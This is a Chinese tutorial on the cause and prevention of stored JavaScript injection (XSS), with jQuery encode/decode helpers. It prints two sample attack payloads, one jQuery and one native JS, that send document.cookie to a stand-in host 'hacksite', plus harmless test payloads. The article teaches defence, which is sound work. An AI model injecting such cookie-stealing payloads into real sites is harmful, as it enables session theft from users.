JavaScript注入漏洞的原理及防范(详解)

 更新时间:2016年12月04日 14:20:19   投稿:jingxian  
下面小编就为大家带来一篇JavaScript注入漏洞的原理及防范(详解)。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧

初次接触:

初次接触JavaScript注入漏洞后,如果不对这种漏洞的作用机理仔细分析并提取出其发生的某种模式,你就不能做到快速的发现项目中可能存在的所有注入风险并在代码中防范。

发生模式:

JavaScript注入漏洞能发生作用主要依赖两个关键的动作,一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中;二是系统中存在一些UI会展示用户注入的数据。

比如注入漏洞最常见的就是发生在各种类型的名字中,比如系统中的人名等等,因为名字往往会在各种系统上显示,如果在某个用户输入名字的时候注入了脚本,那么受其影响的各个系统都有发生注入漏洞的风险。

曾经在帮别的项目做Bug Bash时,我给系统中的一个名字中注入了JavaScript脚本,结果导致使用这个名字的8个子系统、站点、app出现问题。

解决方案:

防范注入漏洞主要有两个思路:一个是在用户输入数据后Encode内容后再保存到持久存储,另一个是在展示用户输入数据的地方Encode从持久存储中取到的数据。

方法一的优点是一般存储用户输入数据的代码少而固定但展示输入数据的UI界面可能有很多而且还会有变化的可能,因此比较好防范;但缺点是存储在持久存储中的数据是Encode后的。

方法二的优点是存储在持久存储中的数据原始内容;但缺点是需要在多处UI界面中写代码防范,而且还得确保在增加新的UI时不忘防范。比如现在Web app比较流行,公司决定开发,那么在开发的过程必须要做好防范,否则可能别的地方都防范好了,但新系统中却没有做好防范,漏洞最后还是发生了。

JavaScript Html Encode/Decode by jQuery:

function htmlEncode(value){

return $('<div/>').text(value).html();

}

function htmlDecode(value){

return $('<div/>').html(value).text();

}

漏洞被用于攻击时注入内容:

jQuery场景:

<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>

原生JS场景:

<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>

测试漏洞时注入内容:

<script>alert(0)</script>

<script>debugger</script> --辅助开发人员快速定位出错的JavaScript代码(打开调试器的情况下)。

以上这篇JavaScript注入漏洞的原理及防范(详解)就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持脚本之家。

相关文章

  • Java中int与integer的区别(基本数据类型与引用数据类型)

    Java中int与integer的区别(基本数据类型与引用数据类型)

    这篇文章主要介绍了int与integer的区别(基本数据类型与引用数据类型),简单的说 int 是基本数据类型,integer 是引用数据类型,具体区别详解大家参考下本文
    2017-02-02
  • js实现模拟银行卡账号输入显示效果

    js实现模拟银行卡账号输入显示效果

    这篇文章主要介绍了js实现模拟银行卡账号输入显示效果,涉及JavaScript正则匹配与字符串操作的相关技巧,具有一定参考借鉴价值,需要的朋友可以参考下
    2015-11-11
  • javascript中创建对象的几种方法总结

    javascript中创建对象的几种方法总结

    以下几种,是javascript中最常用的创建对象的方式。初学者看到后,可能会晕掉,甚至会觉得担心。其实完全不用担心,这些种方式,只需要掌握一两种,对其他的几种只需要理解就好了
    2013-11-11
  • JS获取页面窗口大小的代码解读

    JS获取页面窗口大小的代码解读

    本节实例给出一个获取浏览器当前窗口大小的方法。当浏览器窗口大小变化时,显示的值会随时变化
    2011-12-12
  • TypeScript实现单链表的示例代码

    TypeScript实现单链表的示例代码

    链表是一种物理存储单元上非连续、非顺序的存储结构,本文主要介绍了TypeScript实现单链表的示例代码,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2024-08-08
  • 通过javascript进行UTF-8编码的实现方法

    通过javascript进行UTF-8编码的实现方法

    下面小编就为大家带来一篇通过javascript进行UTF-8编码的实现方法。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2016-06-06
  • 利用原生js模拟直播弹幕滚动效果

    利用原生js模拟直播弹幕滚动效果

    弹幕是一个很常见的功能,这篇文章主要给大家介绍了关于如何利用原生js模拟直播弹幕滚动效果的相关资料,文章通过示例代码介绍的非常详细,需要的朋友可以参考下
    2021-07-07
  • JS事件Event元素(兼容IE,Firefox,Chorme)

    JS事件Event元素(兼容IE,Firefox,Chorme)

    今天,想聊聊JS事件对象。相信大家对于获得激发JS事件的原对象的理解,有的人可能简单停留在IE上。也就是window.event这个对象
    2012-11-11
  • JS和JQ的event对象区别分析

    JS和JQ的event对象区别分析

    js和jq的event对象大同小异,本文简单对比下它们的'click'事件下的不同和应用,给有需要的小伙伴参考下
    2014-11-11
  • Grid得到选择行数据的方法总结

    Grid得到选择行数据的方法总结

    Grid得到选择行数据的方法总结,需要的朋友可以参考下。
    2011-01-01

最新评论